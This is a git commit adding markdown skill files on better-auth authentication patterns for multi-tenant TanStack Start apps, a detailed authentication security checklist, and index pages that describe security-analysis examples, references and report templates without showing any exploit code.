Initial commit

This commit is contained in:
Zhongwei Li
2025-11-29 18:29:28 +08:00
commit 5f6dacc74b
19 changed files with 3378 additions and 0 deletions

View File

@@ -0,0 +1,265 @@
---
name: grey-haven-authentication-patterns
description: Grey Haven's authentication patterns using better-auth - magic links, passkeys, OAuth providers, session management with Redis, JWT claims with tenant_id, and Doppler for auth secrets. Use when implementing authentication features.
---
# Grey Haven Authentication Patterns
Follow Grey Haven Studio's authentication patterns using better-auth for TanStack Start projects with multi-tenant support.
## Stack
- **better-auth**: Authentication library for TanStack Start
- **Drizzle ORM**: Database adapter for better-auth
- **Doppler**: Secret management (BETTER_AUTH_SECRET, OAuth keys)
- **Redis**: Session storage (via Upstash)
- **PostgreSQL**: User and session data with RLS
## Critical Requirements
### Multi-Tenant Authentication
**ALWAYS include tenant_id in auth tables**:
```typescript
export const users = pgTable("users", {
id: uuid("id").primaryKey().defaultRandom(),
tenant_id: uuid("tenant_id").notNull(), // CRITICAL!
email_address: text("email_address").notNull().unique(),
// ... other fields
});
export const sessions = pgTable("sessions", {
id: uuid("id").primaryKey().defaultRandom(),
user_id: uuid("user_id").references(() => users.id),
tenant_id: uuid("tenant_id").notNull(), // CRITICAL!
// ... other fields
});
```
### Doppler for Secrets
**NEVER commit auth secrets**:
```bash
# Doppler provides these at runtime
BETTER_AUTH_SECRET=<generated-secret>
BETTER_AUTH_URL=https://app.example.com
GOOGLE_CLIENT_ID=<from-google-console>
GOOGLE_CLIENT_SECRET=<from-google-console>
```
## Basic Configuration
```typescript
// lib/server/auth.ts
import { betterAuth } from "better-auth";
import { drizzleAdapter } from "@better-auth/drizzle";
import { db } from "~/lib/server/db";
export const auth = betterAuth({
database: drizzleAdapter(db, {
provider: "pg",
schema,
}),
emailAndPassword: {
enabled: true,
requireEmailVerification: true,
},
secret: process.env.BETTER_AUTH_SECRET!,
baseURL: process.env.BETTER_AUTH_URL!,
trustedOrigins: [process.env.BETTER_AUTH_URL!],
});
```
## Authentication Methods
### 1. Email & Password
```typescript
// Sign up with email verification
await auth.signUp.email({
email: "user@example.com",
password: "secure-password",
name: "John Doe",
data: {
tenant_id: tenantId, // Include tenant context
},
});
// Sign in
await auth.signIn.email({
email: "user@example.com",
password: "secure-password",
});
```
### 2. Magic Links
```typescript
// Send magic link
await auth.magicLink.send({
email: "user@example.com",
callbackURL: "/auth/verify",
});
// Verify magic link token
await auth.magicLink.verify({
token: tokenFromEmail,
});
```
### 3. OAuth Providers
```typescript
// Google OAuth
export const auth = betterAuth({
// ... other config
socialProviders: {
google: {
clientId: process.env.GOOGLE_CLIENT_ID!,
clientSecret: process.env.GOOGLE_CLIENT_SECRET!,
scopes: ["email", "profile"],
},
},
});
// Redirect to Google
await auth.signIn.social({
provider: "google",
callbackURL: "/auth/callback",
});
```
### 4. Passkeys (WebAuthn)
```typescript
// Enable passkeys
export const auth = betterAuth({
// ... other config
passkey: {
enabled: true,
},
});
// Register passkey
await auth.passkey.register({
name: "My MacBook",
});
// Authenticate with passkey
await auth.passkey.authenticate();
```
## Session Management
### JWT Claims with tenant_id
```typescript
// Middleware to extract tenant from JWT
export async function getTenantFromSession() {
const session = await auth.api.getSession();
if (!session) {
throw new Error("Not authenticated");
}
return {
userId: session.user.id,
tenantId: session.user.tenant_id, // From JWT claims
user: session.user,
};
}
```
### Session Storage with Redis
```typescript
// Use Upstash Redis for sessions
export const auth = betterAuth({
// ... other config
session: {
expiresIn: 60 * 60 * 24 * 7, // 7 days
updateAge: 60 * 60 * 24, // Refresh daily
cookieCache: {
enabled: true,
maxAge: 5 * 60, // 5 minutes
},
},
});
```
## Protected Routes
### TanStack Router beforeLoad
```typescript
// routes/_authenticated/_layout.tsx
import { createFileRoute, redirect } from "@tanstack/react-router";
import { getTenantFromSession } from "~/lib/server/auth";
export const Route = createFileRoute("/_authenticated/_layout")({
beforeLoad: async () => {
try {
const { userId, tenantId, user } = await getTenantFromSession();
return { session: { userId, tenantId, user } };
} catch {
throw redirect({
to: "/auth/login",
search: { redirect: location.href },
});
}
},
});
```
## Supporting Documentation
All supporting files are under 500 lines per Anthropic best practices:
- **[examples/](examples/)** - Complete auth examples
- [magic-link.md](examples/magic-link.md) - Magic link implementation
- [oauth.md](examples/oauth.md) - OAuth provider setup
- [passkeys.md](examples/passkeys.md) - Passkey authentication
- [multi-tenant.md](examples/multi-tenant.md) - Multi-tenant patterns
- [INDEX.md](examples/INDEX.md) - Examples navigation
- **[reference/](reference/)** - Auth references
- [better-auth-config.md](reference/better-auth-config.md) - Configuration options
- [session-management.md](reference/session-management.md) - Session patterns
- [doppler-setup.md](reference/doppler-setup.md) - Secret management
- [INDEX.md](reference/INDEX.md) - Reference navigation
- **[templates/](templates/)** - Copy-paste ready templates
- [auth-config.ts](templates/auth-config.ts) - better-auth configuration
- [auth-schema.ts](templates/auth-schema.ts) - Drizzle auth schema
- [protected-route.tsx](templates/protected-route.tsx) - Protected route layout
- **[checklists/](checklists/)** - Security checklists
- [auth-checklist.md](checklists/auth-checklist.md) - Authentication security
## When to Apply This Skill
Use this skill when:
- Implementing user authentication
- Adding OAuth providers (Google, GitHub)
- Setting up magic link authentication
- Configuring passkey support
- Managing user sessions
- Implementing multi-tenant auth
- Securing API endpoints
- Setting up protected routes
## Template Reference
These patterns are from Grey Haven's production templates:
- **cvi-template**: TanStack Start + better-auth + multi-tenant
## Critical Reminders
1. **tenant_id**: Always include in users and sessions tables
2. **Doppler**: Use for all auth secrets (never commit!)
3. **Email verification**: Required for email/password signup
4. **JWT claims**: Include tenant_id in session data
5. **Protected routes**: Use beforeLoad for auth checks
6. **Redis sessions**: Use Upstash for distributed sessions
7. **OAuth secrets**: Store in Doppler (Google, GitHub, etc.)
8. **RLS policies**: Create for users and sessions tables
9. **Session expiry**: 7 days default, refresh daily
10. **Magic links**: 15-minute expiry, single-use tokens

View File

@@ -0,0 +1,66 @@
# Authentication Security Checklist
**Use before deploying authentication features.**
## Configuration Security
- [ ] BETTER_AUTH_SECRET stored in Doppler (never committed)
- [ ] OAuth secrets in Doppler (Google, GitHub, etc.)
- [ ] BETTER_AUTH_URL matches production domain
- [ ] trustedOrigins configured correctly
- [ ] Session expiry configured (7 days default)
## Database Security
- [ ] tenant_id included in users table
- [ ] tenant_id included in sessions table
- [ ] RLS policies created for users table
- [ ] RLS policies created for sessions table
- [ ] Email addresses unique constraint
- [ ] Passwords never stored in plain text (better-auth handles)
## Multi-Tenant Isolation
- [ ] tenant_id extracted from JWT claims
- [ ] All auth queries filter by tenant_id
- [ ] Session data includes tenant context
- [ ] Test cases verify tenant isolation
## Email Verification
- [ ] Email verification required for signup
- [ ] Verification tokens expire (15 minutes)
- [ ] Verification tokens single-use
- [ ] Email templates styled (Resend/SendGrid)
## OAuth Configuration
- [ ] OAuth redirect URLs whitelisted
- [ ] OAuth scopes minimal (email, profile only)
- [ ] OAuth secrets in Doppler
- [ ] OAuth callback URLs HTTPS only
## Session Management
- [ ] Redis/Upstash configured for sessions
- [ ] Session tokens stored securely (httpOnly cookies)
- [ ] Session refresh configured (1 day)
- [ ] Session expiry configured (7 days)
## Protected Routes
- [ ] beforeLoad checks authentication
- [ ] Redirects to login with return URL
- [ ] Session data available in route context
- [ ] Logout clears session completely
## Testing
- [ ] Signup flow tested
- [ ] Login flow tested
- [ ] Logout tested
- [ ] Email verification tested
- [ ] OAuth flow tested (if enabled)
- [ ] Magic link tested (if enabled)
- [ ] Passkey tested (if enabled)
- [ ] Multi-tenant isolation tested

View File

@@ -0,0 +1,466 @@
# Authentication & Authorization Security Checklist
Comprehensive checklist for implementing secure authentication and authorization patterns with Better Auth and multi-tenant architecture.
## Pre-Implementation Planning
- [ ] **Choose authentication method** (Better Auth, custom, OAuth only)
- [ ] **Define user roles** (admin, user, viewer, etc.)
- [ ] **Map permissions** to roles
- [ ] **Choose session strategy** (JWT, database sessions, cookies)
- [ ] **Plan multi-tenant isolation** (tenant-level permissions)
- [ ] **Review compliance requirements** (GDPR, HIPAA, SOC2)
## Better Auth Setup
### Installation & Configuration
- [ ] **Better Auth installed** (`npm install better-auth`)
- [ ] **Configuration file created** (`auth.config.ts` or similar)
- [ ] **Database adapter configured** (Drizzle, Prisma, etc.)
- [ ] **Environment variables set** (secrets, URLs)
- [ ] **CSRF protection enabled** (default in Better Auth)
### OAuth Providers
- [ ] **OAuth providers configured** (Google, GitHub, etc.):
```typescript
providers: [
google({
clientId: process.env.GOOGLE_CLIENT_ID!,
clientSecret: process.env.GOOGLE_CLIENT_SECRET!
}),
github({
clientId: process.env.GITHUB_CLIENT_ID!,
clientSecret: process.env.GITHUB_CLIENT_SECRET!
})
]
```
- [ ] **OAuth redirect URIs whitelisted** in provider dashboards
- [ ] **OAuth scopes minimal** (only request what's needed)
- [ ] **OAuth state parameter validated** (CSRF protection)
- [ ] **OAuth error handling** implemented
### Email/Password Authentication
- [ ] **Password hashing** with secure algorithm (bcrypt, Argon2)
- [ ] **Password requirements** enforced:
- [ ] Minimum 8 characters
- [ ] Mix of uppercase, lowercase, numbers, symbols
- [ ] Password strength meter on frontend
- [ ] Common password blocklist
- [ ] **Email verification** implemented:
- [ ] Verification email sent on registration
- [ ] Token expires after reasonable time (24 hours)
- [ ] User cannot access protected routes until verified
- [ ] Resend verification email option
- [ ] **Password reset** flow:
- [ ] Reset link sent to email
- [ ] Token single-use and time-limited
- [ ] Old password invalidated after reset
- [ ] User notified of password change
## Session Management
### Session Storage
- [ ] **Sessions stored securely**:
- [ ] Database sessions (recommended for multi-tenant)
- [ ] Encrypted session cookies
- [ ] No sensitive data in localStorage
- [ ] **Session expiration** configured:
- [ ] Reasonable timeout (30 minutes idle, 24 hours absolute)
- [ ] Refresh token flow (if using JWT)
- [ ] Grace period for session extension
- [ ] **Session invalidation** on:
- [ ] Logout
- [ ] Password change
- [ ] Security event (suspicious activity)
- [ ] User deletion
### Session Security
- [ ] **httpOnly cookies** (JavaScript cannot access)
- [ ] **secure flag** set (HTTPS only)
- [ ] **sameSite attribute** configured (Strict or Lax)
- [ ] **Session fixation prevented** (regenerate session ID on login)
- [ ] **Concurrent session management** (limit sessions per user)
## Multi-Tenant Authentication
### Tenant Context
- [ ] **Tenant identified** during authentication:
- [ ] From subdomain (`tenant.example.com`)
- [ ] From custom domain (`example.com`)
- [ ] From user selection (post-login)
- [ ] From invitation link
- [ ] **tenant_id stored** in session
- [ ] **User-tenant relationship** verified on each request
- [ ] **Tenant switching** requires re-authentication (or explicit action)
- [ ] **Cross-tenant access blocked** at authentication layer
### Organization Roles
- [ ] **Organization model** defined (one tenant = one org)
- [ ] **User-Organization membership** table created
- [ ] **Roles per organization**:
- [ ] Owner (full control)
- [ ] Admin (manage users, cannot delete org)
- [ ] Member (standard access)
- [ ] Viewer (read-only)
- [ ] **Role inheritance** (Owner has all Admin permissions)
- [ ] **Role assignment** restricted (only Owner/Admin can assign roles)
### Invitation System
- [ ] **Invitation flow** implemented:
- [ ] Admin generates invitation link
- [ ] Link includes tenant_id + role
- [ ] Link expires after set time
- [ ] Link single-use or limited-use
- [ ] Email sent with invitation
- [ ] **Invitation acceptance** creates user-tenant relationship
- [ ] **Invitation revocation** possible before acceptance
- [ ] **Pending invitations** tracked in database
## Authorization Patterns
### Role-Based Access Control (RBAC)
- [ ] **Roles defined** at application level
- [ ] **Permissions mapped** to roles
- [ ] **Permission checks** in:
- [ ] API route handlers
- [ ] Repository methods (data access layer)
- [ ] UI components (hide/disable unauthorized actions)
- [ ] **Authorization middleware** created:
```typescript
function requireRole(role: Role) {
return async (req, res, next) => {
const user = req.user;
if (!user || user.role !== role) {
return res.status(403).json({ error: 'Forbidden' });
}
next();
};
}
```
### Attribute-Based Access Control (ABAC)
- [ ] **User attributes** checked (tenant_id, role, team_id)
- [ ] **Resource attributes** checked (owner_id, tenant_id, visibility)
- [ ] **Context attributes** checked (time, IP, device)
- [ ] **Policy evaluation** centralized (authorization service)
### Row-Level Security (RLS)
- [ ] **RLS policies enabled** on multi-tenant tables:
```sql
CREATE POLICY tenant_isolation ON users
USING (tenant_id = current_setting('app.tenant_id')::uuid);
```
- [ ] **tenant_id set** in database context for each request
- [ ] **Admin bypass** policy (when needed):
```sql
CREATE POLICY admin_all_access ON users
USING (
current_setting('app.user_role') = 'admin'
OR tenant_id = current_setting('app.tenant_id')::uuid
);
```
- [ ] **RLS tested** (cannot access other tenant's data)
## API Security
### Authentication Endpoints
- [ ] **Rate limiting** on auth endpoints:
- [ ] Login: 5 attempts per 15 minutes
- [ ] Registration: 3 accounts per hour per IP
- [ ] Password reset: 3 requests per hour per email
- [ ] **Brute force protection**:
- [ ] Account lockout after failed attempts
- [ ] CAPTCHA after 3 failed attempts
- [ ] Delay responses on failure (same time as success)
- [ ] **Account enumeration prevented**:
- [ ] Same response for existing/non-existing users
- [ ] Generic error messages ("Invalid credentials")
### Protected Endpoints
- [ ] **Authentication required** (middleware on all protected routes)
- [ ] **Authorization verified** (role/permission checks)
- [ ] **tenant_id validated** (user belongs to tenant)
- [ ] **Input validation** (Zod/Pydantic on all inputs)
- [ ] **CORS configured** (whitelist allowed origins)
### Token Security
- [ ] **JWT tokens** (if used):
- [ ] Short expiration (15 minutes for access token)
- [ ] Signed with secret key (HS256 or RS256)
- [ ] Claims validated (iss, aud, exp)
- [ ] Refresh token rotation
- [ ] Refresh token revocation on logout
- [ ] **API keys** (if used):
- [ ] Stored hashed in database
- [ ] Scoped to specific tenant
- [ ] Can be revoked
- [ ] Expiration date set
- [ ] Usage tracked (rate limits per key)
## Frontend Security
### Client-Side Auth
- [ ] **Auth state managed** (React context, store)
- [ ] **Protected routes** implemented:
```typescript
function ProtectedRoute({ children }) {
const { user, loading } = useAuth();
if (loading) return <Loading />;
if (!user) return <Navigate to="/login" />;
return children;
}
```
- [ ] **Role-based UI** (hide/disable unauthorized actions)
- [ ] **Token refresh** handled automatically
- [ ] **Logout on 401** responses
### Secure Storage
- [ ] **No sensitive data** in localStorage:
- [ ] No passwords
- [ ] No full credit card numbers
- [ ] No SSNs or PII
- [ ] **Session storage** for temporary data only
- [ ] **Cookies** for authentication tokens (httpOnly)
### CSRF Protection
- [ ] **CSRF tokens** on state-changing requests
- [ ] **SameSite cookies** (Strict or Lax)
- [ ] **Referer header** validation (optional defense in depth)
## Password Security
### Password Storage
- [ ] **Never store plaintext** passwords
- [ ] **Use bcrypt or Argon2** (not SHA-256 or MD5)
- [ ] **Salt per password** (automatic with bcrypt/Argon2)
- [ ] **Cost factor appropriate** (10-12 for bcrypt)
- [ ] **Pepper used** (additional application-wide secret)
### Password Policies
- [ ] **Minimum length** 8 characters (12+ recommended)
- [ ] **Complexity requirements** (optional, often counterproductive)
- [ ] **Password history** (prevent reuse of last 5 passwords)
- [ ] **Password expiration** (only if required by compliance)
- [ ] **Compromised password check** (Have I Been Pwned API)
## Social Engineering Prevention
- [ ] **Email verification** required before account activation
- [ ] **Suspicious activity alerts**:
- [ ] Login from new device
- [ ] Login from new location
- [ ] Password change
- [ ] Email change
- [ ] Role change
- [ ] **Security questions** avoided (weak authentication)
- [ ] **2FA encouraged** (optional or required)
- [ ] **Account recovery** requires multiple factors (email + SMS)
## Two-Factor Authentication (2FA)
- [ ] **2FA supported** (TOTP, SMS, or hardware keys)
- [ ] **2FA enrollment** flow:
- [ ] User scans QR code (TOTP)
- [ ] User verifies code to confirm setup
- [ ] Backup codes generated
- [ ] 2FA cannot be disabled without authentication
- [ ] **2FA enforcement** (optional or required):
- [ ] Required for admins
- [ ] Optional for users
- [ ] Grace period for enrollment (7 days)
- [ ] **Backup codes** provided (10 single-use codes)
- [ ] **2FA recovery** flow (if device lost)
## Logging & Monitoring
### Authentication Events
- [ ] **Log all auth events**:
- [ ] Successful logins (user, tenant, IP, timestamp)
- [ ] Failed login attempts
- [ ] Logout events
- [ ] Password changes
- [ ] Role changes
- [ ] 2FA enrollment/removal
- [ ] **Structured logging** (JSON format for parsing)
- [ ] **PII handling** in logs (hash or redact sensitive data)
- [ ] **Log retention** policy (90 days minimum for security events)
### Anomaly Detection
- [ ] **Monitor for**:
- [ ] Multiple failed logins from same IP
- [ ] Login from unusual location
- [ ] Rapid API requests (potential bot)
- [ ] Privilege escalation attempts
- [ ] Mass data access (potential breach)
- [ ] **Alerts configured** for suspicious activity
- [ ] **Automated responses** (account lock, CAPTCHA)
- [ ] **Security team notified** for critical events
## Compliance & Privacy
### GDPR Compliance
- [ ] **Consent captured** for data processing
- [ ] **Privacy policy** accessible
- [ ] **Right to access** (users can export data)
- [ ] **Right to deletion** (users can delete account)
- [ ] **Data minimization** (only collect necessary data)
- [ ] **Breach notification** process defined
### SOC2 Requirements
- [ ] **Access logging** comprehensive
- [ ] **Session management** secure
- [ ] **Encryption** in transit (HTTPS) and at rest
- [ ] **MFA available** for privileged accounts
- [ ] **Security training** for developers
## Testing Authentication
### Unit Tests
- [ ] **Password hashing** tested
- [ ] **Token generation/validation** tested
- [ ] **Permission checks** tested
- [ ] **Role assignment** tested
- [ ] **Tenant isolation** tested
### Integration Tests
- [ ] **Login flow** tested (email/password, OAuth)
- [ ] **Registration flow** tested
- [ ] **Password reset** tested
- [ ] **Session expiration** tested
- [ ] **2FA flow** tested
### Security Tests
- [ ] **Penetration testing** performed
- [ ] **OWASP Top 10** vulnerabilities checked:
- [ ] Broken authentication
- [ ] SQL injection
- [ ] XSS
- [ ] CSRF
- [ ] Security misconfiguration
- [ ] **Automated security scans** (SAST, DAST)
- [ ] **Dependency vulnerabilities** checked (npm audit, Snyk)
## Deployment Security
- [ ] **Secrets management** (Doppler, AWS Secrets Manager)
- [ ] **Environment variables** not committed to git
- [ ] **HTTPS enforced** (redirect HTTP to HTTPS)
- [ ] **Security headers** set:
- [ ] Strict-Transport-Security
- [ ] X-Content-Type-Options
- [ ] X-Frame-Options
- [ ] Content-Security-Policy
- [ ] **Database encryption** at rest
- [ ] **Backup encryption**
- [ ] **Secure key rotation** process
## Incident Response
- [ ] **Incident response plan** documented
- [ ] **Security contacts** defined
- [ ] **Breach notification** process:
- [ ] Identify affected users
- [ ] Notify within 72 hours (GDPR)
- [ ] Invalidate all sessions
- [ ] Force password reset
- [ ] Investigate root cause
- [ ] **Post-incident review** process
- [ ] **Security patches** deployment process
## Scoring
- **90+ items checked**: Excellent - Production-ready security ✅
- **70-89 items**: Good - Most security covered ⚠️
- **50-69 items**: Fair - Significant security gaps 🔴
- **<50 items**: Poor - Not secure for production ❌
## Priority Items
Address these first:
1. **Password security** - Hashing, policies, reset flow
2. **Session management** - Secure storage, expiration, invalidation
3. **Multi-tenant isolation** - tenant_id in session, RLS policies
4. **Rate limiting** - Prevent brute force attacks
5. **Logging** - Audit trail for security events
## Common Mistakes
**Don't:**
- Store passwords in plaintext or with weak hashing
- Use long-lived tokens without refresh mechanism
- Trust client-side validation/authorization
- Share sessions across tenants
- Log passwords or tokens
- Use JWT for sessions (use database sessions for multi-tenant)
**Do:**
- Use proven auth libraries (Better Auth, NextAuth)
- Validate sessions on every request
- Implement defense in depth (multiple security layers)
- Test authentication thoroughly
- Monitor for suspicious activity
- Rotate secrets regularly
## Related Resources
- [Better Auth Documentation](https://better-auth.com)
- [OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)
- [OWASP Session Management](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html)
- [authentication-patterns skill](../SKILL.md)
---
**Total Items**: 150+ security checks
**Critical Items**: Password security, Session management, Multi-tenant, Rate limiting
**Coverage**: Better Auth, Multi-tenant, OAuth, RBAC, RLS
**Last Updated**: 2025-11-10

View File

@@ -0,0 +1,36 @@
# Authentication Patterns Examples
Complete examples for better-auth authentication.
## Available Examples
### [magic-link.md](magic-link.md)
Magic link authentication implementation.
- Sending magic links
- Verifying magic link tokens
- Single-use token enforcement
### [oauth.md](oauth.md)
OAuth provider setup (Google, GitHub).
- OAuth configuration
- Provider callbacks
- Profile data mapping
### [passkeys.md](passkeys.md)
Passkey (WebAuthn) authentication.
- Passkey registration
- Passkey authentication
- Device management
### [multi-tenant.md](multi-tenant.md)
Multi-tenant authentication patterns.
- tenant_id in JWT claims
- Session context with tenant
- RLS policy enforcement
## Quick Reference
**Need magic links?** → [magic-link.md](magic-link.md)
**Need OAuth?** → [oauth.md](oauth.md)
**Need passkeys?** → [passkeys.md](passkeys.md)
**Need multi-tenant?** → [multi-tenant.md](multi-tenant.md)

View File

@@ -0,0 +1,32 @@
# Authentication Patterns Reference
Configuration and setup references.
## Available References
### [better-auth-config.md](better-auth-config.md)
better-auth configuration options.
- Email & password settings
- OAuth provider configuration
- Session management options
- Security settings
### [session-management.md](session-management.md)
Session management patterns.
- JWT claims structure
- Redis session storage
- Session refresh logic
- Cookie configuration
### [doppler-setup.md](doppler-setup.md)
Secret management with Doppler.
- BETTER_AUTH_SECRET setup
- OAuth secret configuration
- Environment-specific secrets
- Secret rotation
## Quick Reference
**Need config?** → [better-auth-config.md](better-auth-config.md)
**Need sessions?** → [session-management.md](session-management.md)
**Need secrets?** → [doppler-setup.md](doppler-setup.md)

View File

@@ -0,0 +1,26 @@
# Security Analysis Skill
Comprehensive security analysis with vulnerability detection, OWASP Top 10 compliance, penetration testing simulation, and remediation.
## Description
Deep security audits including threat modeling, attack surface analysis, cryptographic validation, authentication review, and compliance assessment.
## What's Included
- **Examples**: OWASP Top 10 checks, penetration test scenarios
- **Reference**: Security best practices, threat models
- **Templates**: Security audit templates, vulnerability reports
## Use When
- Security audits needed
- Pre-deployment security checks
- Vulnerability investigation
- Compliance assessments
## Related Agents
- `security-analyzer`
**Skill Version**: 1.0

View File

@@ -0,0 +1,112 @@
# Security Vulnerability Examples
Real-world vulnerability examples with exploitation scenarios, CVSS scores, and complete remediations.
## Examples Overview
### SQL Injection (A03)
**File**: [sql-injection.md](sql-injection.md)
Critical database security vulnerabilities:
- SQL injection attack scenarios
- Blind SQL injection techniques
- Parameterized query solutions
- ORM best practices
- Input validation patterns
- CVSS 9.8 (Critical) examples
**Use when**: Building database queries, API endpoints with user input, search functionality.
---
### Cross-Site Scripting - XSS (A03)
**File**: [xss-vulnerabilities.md](xss-vulnerabilities.md)
XSS attack vectors and prevention:
- Reflected XSS exploitation
- Stored XSS persistence attacks
- DOM-based XSS scenarios
- Output encoding solutions
- Content Security Policy (CSP)
- CVSS 7.1 (High) examples
**Use when**: Rendering user-generated content, building search features, dynamic HTML generation.
---
### Authentication Bypass (A07)
**File**: [authentication-bypass.md](authentication-bypass.md)
Authentication and session security flaws:
- JWT algorithm confusion attacks
- Session fixation exploitation
- Weak password policies
- Missing MFA vulnerabilities
- Secure authentication implementation
- CVSS 8.1 (High) examples
**Use when**: Implementing login systems, session management, API authentication, OAuth flows.
---
### Secrets Exposure (A02)
**File**: [secrets-exposure.md](secrets-exposure.md)
Hardcoded credentials and secret management:
- API key exposure detection
- Hardcoded password patterns
- Environment variable best practices
- Doppler/Vault integration
- Git secret scanning
- CVSS 9.1 (Critical) examples
**Use when**: Managing configuration, deploying applications, working with third-party APIs.
---
### Dependency Vulnerabilities (A06)
**File**: [dependency-vulnerabilities.md](dependency-vulnerabilities.md)
Supply chain and dependency security:
- Known CVE exploitation
- Outdated package detection
- npm audit / pip-audit usage
- Dependency update strategies
- Lock file security
- CVSS varies by CVE
**Use when**: Adding dependencies, updating packages, conducting security audits.
---
## OWASP Top 10 Coverage
| Vulnerability | Example File | CVSS Range | Frequency |
|---------------|--------------|------------|-----------|
| **A01: Broken Access Control** | (Covered in auth-bypass) | 6.5-8.8 | Very High |
| **A02: Cryptographic Failures** | secrets-exposure.md | 7.5-9.8 | High |
| **A03: Injection** | sql-injection.md, xss-vulnerabilities.md | 7.3-9.8 | High |
| **A04: Insecure Design** | (Threat modeling reference) | Varies | Medium |
| **A05: Security Misconfiguration** | (Reference docs) | 5.3-7.5 | High |
| **A06: Vulnerable Components** | dependency-vulnerabilities.md | 4.0-10.0 | Very High |
| **A07: Auth Failures** | authentication-bypass.md | 6.5-9.1 | High |
| **A08: Data Integrity** | (Reference docs) | 7.5-8.8 | Medium |
| **A09: Logging Failures** | (Reference docs) | 5.3-6.5 | Medium |
| **A10: SSRF** | (Reference docs) | 6.4-9.6 | Medium |
## Severity Guide
- **Critical (9.0-10.0)**: Immediate exploitation, severe impact
- **High (7.0-8.9)**: Easy exploitation, significant impact
- **Medium (4.0-6.9)**: Moderate difficulty, limited impact
- **Low (0.1-3.9)**: Difficult exploitation, minimal impact
## Navigation
- **Reference**: [Reference Index](../reference/INDEX.md)
- **Templates**: [Templates Index](../templates/INDEX.md)
- **Main Agent**: [security-analyzer.md](../security-analyzer.md)
---
Return to [main agent](../security-analyzer.md)

View File

@@ -0,0 +1,96 @@
# Security Reference Documentation
Comprehensive security reference materials for the Grey Haven security analyzer agent.
## Reference Guides Overview
### OWASP Top 10 2021
**File**: [owasp-top-10.md](owasp-top-10.md)
Complete OWASP Top 10 coverage for Grey Haven stack:
- **A01: Broken Access Control** - Multi-tenant RLS, authorization patterns
- **A02: Cryptographic Failures** - Secrets management, encryption, hashing
- **A03: Injection** - SQL injection, XSS, command injection prevention
- **A04: Insecure Design** - Threat modeling, secure architecture patterns
- **A05: Security Misconfiguration** - Cloudflare Workers, environment hardening
- **A06: Vulnerable Components** - Dependency scanning, update strategies
- **A07: Authentication Failures** - better-auth, MFA, session management
- **A08: Software & Data Integrity** - Checksum validation, CI/CD security
- **A09: Logging & Monitoring Failures** - Security event logging, SIEM integration
- **A10: Server-Side Request Forgery** - SSRF prevention, URL validation
**Use when**: Understanding OWASP categories, mapping vulnerabilities to standards
---
### CVSS v3.1 Scoring Reference
**File**: [cvss-scoring.md](cvss-scoring.md)
Complete CVSS vulnerability scoring methodology:
- **Base Metrics**: AV, AC, PR, UI, S, C, I, A
- **Temporal Metrics**: Exploit Code Maturity, Remediation Level, Report Confidence
- **Environmental Metrics**: Modified Base Metrics for specific environments
- **Severity Ranges**: Critical (9.0-10.0), High (7.0-8.9), Medium (4.0-6.9), Low (0.1-3.9)
- **Vector Strings**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- **Calculator**: Step-by-step scoring examples
- **Real CVEs**: Mapping actual vulnerabilities to CVSS scores
**Use when**: Scoring vulnerabilities, prioritizing remediation, reporting severity
---
### Compliance Requirements
**File**: [compliance-requirements.md](compliance-requirements.md)
Security compliance frameworks for SaaS:
- **PCI DSS 4.0**: Payment card data security (Stripe integration)
- **GDPR**: EU data privacy requirements (multi-tenant data isolation)
- **HIPAA**: Healthcare data protection (if applicable)
- **SOC 2 Type II**: Trust services criteria (security, availability, confidentiality)
- **ISO 27001**: Information security management
- **NIST Cybersecurity Framework**: Security controls mapping
- **Grey Haven Specific**: Cloudflare Workers compliance, PostgreSQL encryption
**Use when**: Preparing for audits, implementing compliance controls, documenting security posture
---
### Security Tools Reference
**File**: [security-tools.md](security-tools.md)
Complete tooling guide for Grey Haven stack:
- **SAST**: Bandit (Python), ESLint security plugins (TypeScript)
- **Dependency Scanning**: bun audit, pip-audit, Snyk, Dependabot
- **Secret Scanning**: gitleaks, trufflehog, Doppler audit logs
- **Container Security**: (if using Docker)
- **Cloud Security**: Cloudflare WAF, rate limiting, DDoS protection
- **Database Security**: PostgreSQL RLS, query auditing, encryption at rest
- **Penetration Testing**: Burp Suite, OWASP ZAP, SQLMap
- **Monitoring**: DataDog Security Monitoring, Sentry error tracking
**Use when**: Selecting security tools, configuring CI/CD security gates, penetration testing
---
## Quick Navigation
| Topic | File | Lines | Purpose |
|-------|------|-------|---------|
| **OWASP Top 10** | [owasp-top-10.md](owasp-top-10.md) | ~450 | Security categories |
| **CVSS Scoring** | [cvss-scoring.md](cvss-scoring.md) | ~380 | Vulnerability scoring |
| **Compliance** | [compliance-requirements.md](compliance-requirements.md) | ~420 | Audit requirements |
| **Security Tools** | [security-tools.md](security-tools.md) | ~350 | Tool configuration |
## Related Documentation
- **Examples**: [Examples Index](../examples/INDEX.md) - Vulnerability examples with exploitation
- **Templates**: [Templates Index](../templates/INDEX.md) - Security report templates
- **Main Agent**: [security-analyzer.md](../security-analyzer.md) - Agent documentation
---
Return to [main agent](../security-analyzer.md)

View File

@@ -0,0 +1,71 @@
# Security Templates
Copy-paste ready templates for security documentation and reporting.
## Templates Overview
### Security Vulnerability Report
**File**: [security-report.md](security-report.md)
Complete vulnerability report template for documenting security findings:
- **Executive Summary** - Non-technical overview for stakeholders
- **Vulnerability Details** - Technical description, CVSS scoring, affected systems
- **Proof of Concept** - Exploitation steps and evidence
- **Business Impact** - Risk assessment and potential damage
- **Remediation Steps** - Step-by-step fixes with code examples
- **Timeline** - Discovery, notification, patch, verification
- **References** - CVEs, OWASP, compliance mapping
**Use when**: Documenting security findings from audits, pentests, or internal discovery
---
### Penetration Testing Report
**File**: [penetration-test.md](penetration-test.md)
Comprehensive penetration testing documentation template:
- **Scope & Methodology** - Testing boundaries, rules of engagement
- **Executive Summary** - High-level findings for management
- **Testing Methodology** - OWASP Testing Guide, tools used
- **Findings Summary** - Critical/High/Medium/Low vulnerability counts
- **Detailed Findings** - Each vulnerability with PoC and remediation
- **Risk Assessment** - CVSS scoring and business impact
- **Remediation Roadmap** - Prioritized action plan with deadlines
- **Appendix** - Tool outputs, screenshots, raw scan data
**Use when**: Conducting penetration tests, security audits, or compliance assessments
---
## Quick Usage
```bash
# Copy template to project
cp templates/security-report.md ../reports/vuln-2025-001.md
# Fill in sections
vim ../reports/vuln-2025-001.md
# Submit for review
git add ../reports/vuln-2025-001.md
git commit -m "docs: add SQL injection vulnerability report"
```
## Template Conventions
**Date Format**: YYYY-MM-DD (ISO 8601)
